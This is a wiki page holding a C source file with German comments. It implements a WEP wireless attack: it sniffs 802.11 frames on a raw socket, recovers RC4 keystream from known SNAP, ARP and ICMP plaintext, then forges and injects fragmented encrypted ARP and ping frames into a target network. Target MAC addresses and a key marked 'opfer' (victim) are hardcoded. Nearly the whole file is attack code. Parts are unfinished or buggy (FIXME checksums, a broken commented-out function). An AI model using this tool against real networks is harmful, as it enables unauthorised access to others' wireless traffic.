Arp and pingforwarding.c

From
Revision as of 10:22, 11 February 2010 by Newacct (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#include <string.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include "rc4.h"

#define SEND_BIT 28 //0x24(verschluesselt) <> 0x1c(unverschluesselt)
#define crypt1  
#define DEBUG
#define KEY_LAENGE 64 //Bit

  #define TMAC0 0x00
  #define TMAC1 0x0f
  #define TMAC2 0xb5
  #define TMAC3 0x3f
  #define TMAC4 0x13
  #define TMAC5 0x14
#if 0
  #define TMAC0 0x00
  #define TMAC1 0x11
  #define TMAC2 0x88
  #define TMAC3 0x28
  #define TMAC4 0x73
  #define TMAC5 0x30
#endif
#if 0
  #define MAC0 0x00
  #define MAC1 0x13
  #define MAC2 0x02
  #define MAC3 0x2a
  #define MAC4 0x80
  #define MAC5 0x8d
#endif
//0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source

  #define MAC0 0x00
  #define MAC1 0x0f
  #define MAC2 0xb5
  #define MAC3 0x97
  #define MAC4 0x37
  #define MAC5 0x37

   typedef struct { 
	int iv; 
	unsigned char keyindex; 
	unsigned char keystream[2400];
  } key;  

int rawsock;

extern int crc32_bitoriented(unsigned char *buffer, int length);
extern void swap_byte(unsigned char *a, unsigned char *b);
extern void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key);
extern void rc4(unsigned char*buffer_ptr, int buffer_len, rc4_key *key);
unsigned short chksum(unsigned char *data, int l);

void filter(int min_len);
void decrypt_arp(unsigned char packet[], int n);
void decrypt_ping(unsigned char packet[], int n);

	unsigned char nul[1337] = {0};
	unsigned char arp[] = {
		0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x06,//LLC/SNAP
		0x00, 0x01, //type ethernet
		0x08, 0x00, //proto-type
		0x06, 0x04, 0x00, 0x01, //hw, opcode
		0x00, 0x0f, 0xb5, 0x97, 0x37, 0x37, //source-mac
		0xc0, 0xa8, 0x8e, 0x02, //source IP NEEDS PATCH 0x16-0x19 XXX last byte= 64
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //target-mac
		0xc0, 0xa8, 0x8e, 0x01 //target-ip
	};

	unsigned char ping[]={
	0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, //SNAP _7
	0x45, 0x00, 0x01, 0x1c, // ipheader,flags, 2bit:laenge _11
	0x00, 0x00, // Identification _13
	0x40, //flags _14
	0x00, //fragmen offset _15
	0x40, // TTL _16
	0x01, // Proto = ICMP _17
	0x9c, 0x8c, // FIXME CHKSUM _19
	0xc0, 0xa8, 0x8e, 0x02, //SRC IP _23
	0xc0, 0xa8, 0x8e, 0x01, //DEST IP (TARGET) _27
	0x08, //ICMP type echo request
	0x00, //code _29
	0x07, 0xd5, //icmp-chksum FIXME TODO XXX _31
	0x08, 0x20, //identifier _33
	0x00, 0x02, //sequenz _35
	0x40, 0xe5, 0x18, 0x45, 0x2f, 0x37, 0x0a, 0x00, //statische daten
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff // _291
	};
	int ping_len = 292;


	uint8_t arp_len = 36;

/* wandelt daten in hexzahlen um */ 
  void
hexdump (unsigned char *data, int len, int nl)
{
  int i;
  for (i = 0; i < len; i++)
    printf ("%02x%c", data[i], (i < len - 1) ? ':' : 0);
  if (nl)
  	printf ("\n");
}


/* header ausgeben */ 
  void
print_header (unsigned char packet[], int n) 
{
  printf ("\nType:\t%x", (unsigned char) packet[0]);
  printf ("\nFlags:\t%x", (unsigned char) packet[1]);
  printf ("\nDauer:\t%u", (unsigned short) packet[2]);
  printf ("\nZiel-Mac:\t");
  hexdump ((unsigned char *) packet + 0x04, 6, 0);
  printf ("\nBSS-Mac:\t");
  hexdump ((unsigned char *) packet + 0x0a, 6, 0);
  printf ("\nQuell-Mac:\t");
  hexdump ((unsigned char *) packet + 0x10, 6, 0);
  printf ("\nSequenzNR:\t%u", (unsigned short) packet[0x16]);
  printf ("\n##IV##:\t%x %x %x", (unsigned char) packet[0x18],
	   (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
  printf ("\nKey-Index:\t%u\n", (unsigned char) packet[0x1b]);
  hexdump ((unsigned char *) packet + 0x1c, n - 3 - 0x1c, 1);
  printf ("WEP-ICV:\t");
  hexdump ((unsigned char *) packet + n - 3, 4, 1);
  return;
}

unsigned char * get_bss(char packet[], int n)
{
	return (unsigned char*)packet + + 10;
}
/*
uint32_t modpot(uint32_t a, uint8_t e, uint8_t m)
{
	uint32_t z, i;
	z = 1;
	for (i = ;
	
}*/

void send_arp(unsigned char packet[], uint8_t iv[], uint8_t kv[], uint8_t key_idx)
{
	unsigned char arp_enc[] = {
		0x08, //Data
		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
		0x00,
		0x00, 0x00, //duration-field
		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest (broadcast)
		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
		0xff, //key_idx NEEDS PATCH 0x1b
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload NEEDS PATCH 0x1c-0x23
		0xff, 0xff, 0xff, 0xff //package-checksum NEEDS PATCH 0x24-0x27
	};
	//uint8_t arp_enc_len = 0x28;
	uint32_t ivc, packsum;
	int i, nr;
	unsigned int sequenz;

	sequenz = (packet[17]);
	sequenz = (sequenz<<4)+(packet[16]&0xf);
	
	sequenz += 42;
	ivc = 0;
	//fuer alle fragmente:
	for(nr=0;nr < (int)arp_len/4; nr++)
	{	
#ifdef crypt1	
	arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x41+0x08:0x45+0x08;
#else
	arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x09:0xd;
	printf("runde: %d\tschalter: %x\n", nr, arp_enc[0x01]);
#endif
		//arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x01+0x08:0x05+0x08;

		//build sequence-field
		/* fragment 4 bit - squenz 12 bit */
		//sequenz++;
		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
		arp_enc[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
		arp_enc[0x16] = ((nr%16))|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
		//printf("sequenz=%u\n",sequenz);
#ifdef crypt1
		//set IV
		arp_enc[0x18] = packet[0x18];
		arp_enc[0x19] = packet[0x19];
		arp_enc[0x1a] = packet[0x1a];
		//set keyidx
		arp_enc[0x1b] = key_idx;
#endif

#ifdef crypt1
		//packet fuellen - verschluesselt
		arp_enc[0x1c] = arp[0+(nr*4)];
		arp_enc[0x1d] = arp[1+(nr*4)];
		arp_enc[0x1e] = arp[2+(nr*4)];
		arp_enc[0x1f] = arp[3+(nr*4)];
#else
		//packet fuellen - unverschluesselt
	printf("packet unverschluesselt fuellen\n");
		arp_enc[0x18] = arp[0+(nr*4)];
		arp_enc[0x19] = arp[1+(nr*4)];
		arp_enc[0x1a] = arp[2+(nr*4)];
		arp_enc[0x1b] = arp[3+(nr*4)];
#endif

#if 0
		arp_enc[0x18] = arp[0+(nr*4)];
		arp_enc[0x19] = arp[1+(nr*4)];
		arp_enc[0x1a] = arp[2+(nr*4)];
		arp_enc[0x1b] = arp[3+(nr*4)];
#endif
#ifdef crypt1
		//build icv-checksum over packet
		ivc = crc32_bitoriented((arp+(nr*4)), 4);
    	printf("crc : %X %X %X %X ist %8X\n", arp[0+(4*nr)], arp[1+(4*nr)], arp[2+(4*nr)], arp[3+(4*nr)], ivc);
		//build packet
		arp_enc[0x20] = *(((uint8_t *)&ivc)+0);
		arp_enc[0x21] = *(((uint8_t *)&ivc)+1);
		arp_enc[0x22] = *(((uint8_t *)&ivc)+2);
		arp_enc[0x23] = *(((uint8_t *)&ivc)+3);
#endif
#ifdef crypt1
		printf("unverschluesselt:"); hexdump((unsigned char *) arp_enc + 0x1c,8,1);
		//verschluesseln	
		for(i=0;i<8;i++)
		{
			arp_enc[0x1c + i] ^= kv[i];
		}
#endif

#ifdef crypt1	
		printf("verschluesselter datenteil:\t"); hexdump((unsigned char *)arp_enc + 0x1c,8,1);
#else 
		printf("verschluesselter datenteil:\t"); hexdump((unsigned char *)arp_enc + 0x18,8,1);
#endif


		//checksumme des packetes bilden
		packsum = crc32_bitoriented(arp_enc,36);
#ifdef crypt1
		arp_enc[0x24] = *(((uint8_t *)&packsum)+0);
		arp_enc[0x25] = *(((uint8_t *)&packsum)+1);
		arp_enc[0x26] = *(((uint8_t *)&packsum)+2);
		arp_enc[0x27] = *(((uint8_t *)&packsum)+3);
#else
		arp_enc[0x1c] = *(((uint8_t *)&packsum)+0);
		arp_enc[0x1d] = *(((uint8_t *)&packsum)+1);
		arp_enc[0x1e] = *(((uint8_t *)&packsum)+2);
		arp_enc[0x1f] = *(((uint8_t *)&packsum)+3);
#endif

#ifdef crypt1
		for(i=0;i<0x24;i++)printf("%x ",arp_enc[i]);
	printf("\n");	
		while(write(rawsock, arp_enc,0x24)!=0x24) ;
#else
		for(i=0;i<SEND_BIT;i++)printf("%x ",arp_enc[i]);		
		printf("\n");
	
		while(write(rawsock, arp_enc,SEND_BIT)!=SEND_BIT) ;
#endif

	//	printf("%d. runde vollendet:", nr);getchar();
	}
	filter(0);
}

/*debug*/
void filter(int min)
{
	int n;
	unsigned char packet[2400];
	int packetsize = 2400;
printf("FILTER SUCHT PASSENDES PACKET\n\n");
while(1){
      n = read (rawsock, packet, packetsize);
	  /* wenn das netz eine bestimmt mac hat: packet+0x0a*/

      if (//(packet[0] == 0x08) &&
			(n > min) &&
				((TMAC0==(unsigned char)packet[10]) &&
				  (TMAC1==(unsigned char)packet[11]) &&	
				  (TMAC2==(unsigned char)packet[12]) &&	
				  (TMAC3==(unsigned char)packet[13]) &&	
				  (TMAC4==(unsigned char)packet[14]) &&	
				  (TMAC5==(unsigned char)packet[15])) 
			&&
					(((MAC0==(unsigned char)packet[4]) &&
				  	(MAC1==(unsigned char)packet[5]) &&	
				  	(MAC2==(unsigned char)packet[6]) &&	
				  	(MAC3==(unsigned char)packet[7]) &&	
				  	(MAC4==(unsigned char)packet[8]) &&	
				  	(MAC5==(unsigned char)packet[9]))
				||
					((MAC0==(unsigned char)packet[16]) &&
				  	(MAC1==(unsigned char)packet[17]) &&	
				  	(MAC2==(unsigned char)packet[18]) &&	
				  	(MAC3==(unsigned char)packet[19]) &&	
				  	(MAC4==(unsigned char)packet[20]) &&	
				  	(MAC5==(unsigned char)packet[21])))
		)
	  {	
 		printf("!!GOT RESPONSE!!\n");	
		print_header (packet, n);

		hexdump(packet,n,1);
		
		getchar();getchar();
#ifdef crypt1
		if(n>200) decrypt_ping(packet, n);
		decrypt_arp(packet, n);
#endif
		return;
	  }
}
}

void send_ping(unsigned char packet[], unsigned char kv[], int n)
{
	unsigned char ping_header[]={
		0x08, //Data
		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
		0x00,
		0x00, 0x00, //duration-field
		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
		//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
		0xff, //key_idx NEEDS PATCH 0x1b
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload 
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload 
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload + icv
	};


		int nr;
	int i, ivc, sequenz;
	//hexdump(ping+27,264,1);
	//printf("checksum vom ping-ding:\t%x\n", chksum(ping+27, 264)); 
	
	sequenz = (packet[17]);
	sequenz = (sequenz<<4)+(packet[16]&0xf);
	for(nr=0;nr < (int)ping_len/36; nr++)
	{	
	ping_header[0x01] = (nr==(int)(ping_len/36-1))?0x41+0x08:0x45+0x08;

		//build sequence-field
		/* fragment 4 bit - squenz 12 bit */
		//sequenz++;
		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
		ping_header[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
		ping_header[0x16] = ((nr%16))|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit

		//set IV
		ping_header[0x18] = packet[0x18];
		ping_header[0x19] = packet[0x19];
		ping_header[0x1a] = packet[0x1a];
		//set keyidx
		ping_header[0x1b] = packet[0x1b];

		//packet fuellen 
		for(i=0;i<36;i++) ping_header[0x1c + i] = ping[i+(nr*36)];
		
		//build icv-checksum over packet
		ivc = crc32_bitoriented((ping+(nr*36)), 36);
		//build packet
		ping_header[0x40] = *(((uint8_t *)&ivc)+0);
		ping_header[0x41] = *(((uint8_t *)&ivc)+1);
		ping_header[0x42] = *(((uint8_t *)&ivc)+2);
		ping_header[0x43] = *(((uint8_t *)&ivc)+3);

		for(i=0;i<0x44;i++) ping_header[0x1c+i]^=kv[i];

		//ausgeben des packets
		printf("AUSGEBEN DES PACKETES\n");
		for(i=0;i<0x44;i++)printf("%x ", ping_header[i]);
	
		//senden des packets
		while(write(rawsock, ping_header,0x44)!=0x44) ;
		printf("\nWURDE GESENDET\n");	
	}
		
	
	filter(200);	
	
}

unsigned short chksum(unsigned char *data, int l)
{
	int i;
	unsigned short sum = 0;
	
	for(i=0;i<l;i+=2){
		sum += (unsigned short)(((data[i]^0xff)<<8)+(data[i+1]^0xff));		
	}
	printf("%d\n",i);
	return sum;	
}

void decrypt_arp(unsigned char packet[], int n)
{	
	int i, packsum;
	unsigned char kv[2400];
	unsigned char nul[2400];
	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
	rc4_key rc4_schluessel;
	unsigned char ivc[4];
#ifdef crypt1
	if(packet[0]==0xb0)printf("authentication frame found\n");
	//if(n!=86) {printf("kein arp-packet!!\n"); return;} //kein arp
#endif	
  	printf ("\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
	
	for(i=0;i<36;i++) { kv[i] = packet[0x1c+i]^arp[i];}  //36 Byte Schluessel aus bekanntem ARP erraten
	 			
		packsum = crc32_bitoriented(arp,36);
		ivc[3] = *(((uint8_t *)&packsum)+3);
		ivc[2] = *(((uint8_t *)&packsum)+2);
		ivc[1] = *(((uint8_t *)&packsum)+1);
		ivc[0] = *(((uint8_t *)&packsum)+0);

    	printf("crc vom arp ist %x %x %x %x\n", ivc[0], ivc[1], ivc[2], ivc[3]);
#ifdef crypt1
		/* i == 36 */
		i = 36;
		kv[i] = ivc[0]^packet[0x1c+i];i++;
		kv[i] = ivc[1]^packet[0x1c+i];i++;
		kv[i] = ivc[2]^packet[0x1c+i];i++;
		kv[i] = ivc[3]^packet[0x1c+i];i++;

		printf("berechneter Keystream:\n");
		for(i=0;i<40;i++) printf("%x ",kv[i]); 
		printf("\nRC4-Keystream\n");
		wep_key[0]=packet[0x18];
		wep_key[1]=packet[0x19];
		wep_key[2]=packet[0x1a];

		prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
		for(i=0;i<80;i++) nul[i]=0x00;
		rc4(nul,40,&rc4_schluessel);
		for(i=0;i<80;i++) printf("%x ",nul[i]); 

		for(i=0;i<40;i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten ARP-Packet
		printf("\nEntschluesseltes Packet:\n");
		for(i=0;i<68;i++) printf("%x ",packet[i]); 
		printf("\n");
		i = 40;
	/* ***************************************************** */
		send_ping(packet, kv, i);
	
#endif
	
}

void decrypt_ping(unsigned char packet[], int n)
{	
	int i, packsum;
	unsigned char kv[2400];
	unsigned char nul[2400];
	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
	rc4_key rc4_schluessel;
	unsigned char ivc[4];
	
  	printf ("\nPING DECRYPT\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
	
	for(i=0;i<(n-(0x1c + 4));i++) { kv[i] = packet[0x1c+i]^ping[i];}  //n Byte Schluessel aus bekanntem ping erraten
	 			
		packsum = crc32_bitoriented(ping,ping_len);
		ivc[3] = *(((uint8_t *)&packsum)+3);
		ivc[2] = *(((uint8_t *)&packsum)+2);
		ivc[1] = *(((uint8_t *)&packsum)+1);
		ivc[0] = *(((uint8_t *)&packsum)+0);

    	printf("crc vom ping ist %x %x %x %x\n", ivc[0], ivc[1], ivc[2], ivc[3]);
		/* i == 36 */
		i = n - 4;
		kv[i] = ivc[0]^packet[0x1c+i];i++;
		kv[i] = ivc[1]^packet[0x1c+i];i++;
		kv[i] = ivc[2]^packet[0x1c+i];i++;
		kv[i] = ivc[3]^packet[0x1c+i];i++;

		printf("berechneter Keystream:\n");
		//for(i=0;i<(n-0x1c);i++) printf("%x ",kv[i]); 
		hexdump(kv,n-0x1c,1);
		printf("\nRC4-Keystream\n");
		wep_key[0]=packet[0x18];
		wep_key[1]=packet[0x19];
		wep_key[2]=packet[0x1a];

		prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
		for(i=0;i<(n-0x1c);i++) nul[i]=0x00;
		rc4(nul,n-0x1c,&rc4_schluessel);
		//for(i=0;i<(n-0x1c);i++) printf("%x ",nul[i]); 
		hexdump(nul,n-0x1c,1);

		for(i=0;i<(n-0x1c);i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten ARP-Packet
		printf("\nEntschluesseltes Packet:\n");
		//for(i=0;i<n;i++) printf("%x ",packet[i]); 
		hexdump(packet,n,1);
		printf("\n");
	
}

void
have_fun(unsigned char packet[], int n)
{
	unsigned char iv[3], key_idx, kv[8];
	char ask;
	int i = 0;
	rc4_key  rc4_schluessel;

	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
//	unsigned char wep_key[]={0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef};

	//check if type is data
	if ((unsigned char) packet[0] != 0x08) return;
	printf("data-package received\n");
	//check if packet is encrypted
	//if (! (((unsigned char) packet[1]) & 0x40)) return;

#ifdef crypt1
	printf("IV: %X%X%X (KeyIdx: %x)\n", packet[24], packet[25], packet[26], packet[27]); 
	iv[0] = packet[24];
	iv[1] = packet[25];
	iv[2] = packet[26];
	key_idx = packet[27];

	wep_key[0]= iv[0];
	wep_key[1]=	iv[1];
	wep_key[2]= iv[2];
	printf("#DEBUG:\tWEP_KEY =\t"); 
	for(i=0;i<8;i++) printf("%x ", wep_key[i]);
#endif

	//building first 7 byte of keystream by cypherstream XOR SNAP
	//standard-SNAP: AA AA 03 00 00 00 08
	
	kv[0] = packet[28] ^ 0xaa;
	kv[1] = packet[29] ^ 0xaa;
	kv[2] = packet[30] ^ 0x03;
	kv[3] = packet[31] ^ 0x00;
	kv[4] = packet[32] ^ 0x00;
	kv[5] = packet[33] ^ 0x00;
	kv[6] = packet[34] ^ 0x00;
	
	//guess if it is ARP or IPv4 for 8th byte of key
	if (n == 86) { //ARP
		printf("Packet is propably ARP\n");
		kv[7] = packet[35] ^ 0x06;
	} else {//IPv4 or else
		printf("Packet is propably IPv4\n");
		kv[7] = packet[35] ^ 00;
	}
	kv[7]=0x27^packet[35];

#ifdef DEBUG
	printf("IV= %x %x %x (key_index=%u)\n", iv[0], iv[1],iv[2],key_idx);
	printf("First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n", kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);
	printf("starting RC4-PRNG\n");

	prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
	for(i=0;i<8;i++) nul[i]=0x00;
	rc4(nul,8, &rc4_schluessel);
	printf("Schluesselstrom=\t");
	for(i=0;i<8;i++) printf("%x\t", nul[i]);
	printf("\n(mit schluesselstrom) entschluesseltes packet:\n");
	for(i=0;i<8;i++) printf("%x\t", nul[i]^packet[28+i]);
	printf("\n");
#endif
	
//	printf("First 8 Byte of Keystream: %X %X %X %X %X %X %X %X \n", kv[0], kv[1], kv[2], kv[3], kv[4], kv[5], kv[6], kv[7]);
	printf("Proceed y/n? ");
	ask = getchar();
	getchar();

	if (ask == 'y') send_arp(packet, iv, kv, key_idx);
	return;
}


// Main Part
  int
main (int argc, char **argv) 
{
  int sock, uid, n, i;
  int packetsize = 2400;	//sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
  unsigned char packet[packetsize];
  struct ifreq ifr;
  struct sockaddr_ll addr;
  
 
  i = 0; 
  if (argc != 2)
    {
      printf ("use ./sniff <dev>\n");
      return -1;
    }
  
    // Are you root?
    uid = getuid ();
  if (uid != 0)
    {
      printf ("You must have UID 0 instead of %d.\n", uid);
      exit (1);
    }
  
    // Raw Socket oeffnen
    
/*by biba */ 
    if ((sock = socket (PF_PACKET, SOCK_RAW, 0)) < 0)
    return -1;
  bzero (&ifr, sizeof (ifr));
  strcpy (ifr.ifr_name, argv[1]);
  if (ioctl (sock, SIOCGIFHWADDR, &ifr))
    {
     	close (sock);
      return -1;
    }
  if (ioctl (sock, SIOCGIFINDEX, &ifr))
    {
      close (sock);
      return -1;
    }
  close (sock);
  if ((sock = socket (PF_PACKET, SOCK_RAW, htons (0x3))) == -1)
    {
      perror ("socket");
      exit (1);
    }
  bzero (&addr, sizeof (addr));
  addr.sll_family = AF_PACKET;
  addr.sll_ifindex = ifr.ifr_ifindex;
  rawsock = sock;
  
#if 1
    if (bind (sock, (struct sockaddr *) &addr, sizeof (addr)) < 0)
    {
      close (sock);
      printf ("failed to bind device\n");
      return -23;
    }
  
#endif /*  */
/*************/ 
    
// if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }
    while (1)
    
    {
      n = read (sock, packet, packetsize);
	  /* wenn das netz eine bestimmt mac hat: packet+0x0a*/

      if (//(packet[0] == 0x08) &&
				((TMAC0==(unsigned char)packet[10]) &&
				  (TMAC1==(unsigned char)packet[11]) &&	
				  (TMAC2==(unsigned char)packet[12]) &&	
				  (TMAC3==(unsigned char)packet[13]) &&	
				  (TMAC4==(unsigned char)packet[14]) &&	
				  (TMAC5==(unsigned char)packet[15])) 
/*			&&
					(((MAC0==(unsigned char)packet[4]) &&
				  	(MAC1==(unsigned char)packet[5]) &&	
				  	(MAC2==(unsigned char)packet[6]) &&	
				  	(MAC3==(unsigned char)packet[7]) &&	
				  	(MAC4==(unsigned char)packet[8]) &&	
				  	(MAC5==(unsigned char)packet[9]))
				||
					((MAC0==(unsigned char)packet[16]) &&
				  	(MAC1==(unsigned char)packet[17]) &&	
				  	(MAC2==(unsigned char)packet[18]) &&	
				  	(MAC3==(unsigned char)packet[19]) &&	
				  	(MAC4==(unsigned char)packet[20]) &&	
				  	(MAC5==(unsigned char)packet[21])))*/
		)
	  	print_header (packet, n);

	  	have_fun(packet, n);
      
#if 0
	for (i = 0; i < n; i++)
	printf ("%x ", (unsigned char) packet[i]);
      printf ("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",
	       inet_ntoa (*(struct in_addr *) &ip->saddr),
	       ntohs (tcp->source),
	       inet_ntoa (*(struct in_addr *) &ip->daddr), ntohs (tcp->dest),
	       ntohl (tcp->seq), ntohl (tcp->ack_seq));
      
#endif /*  */
    } return 0;
}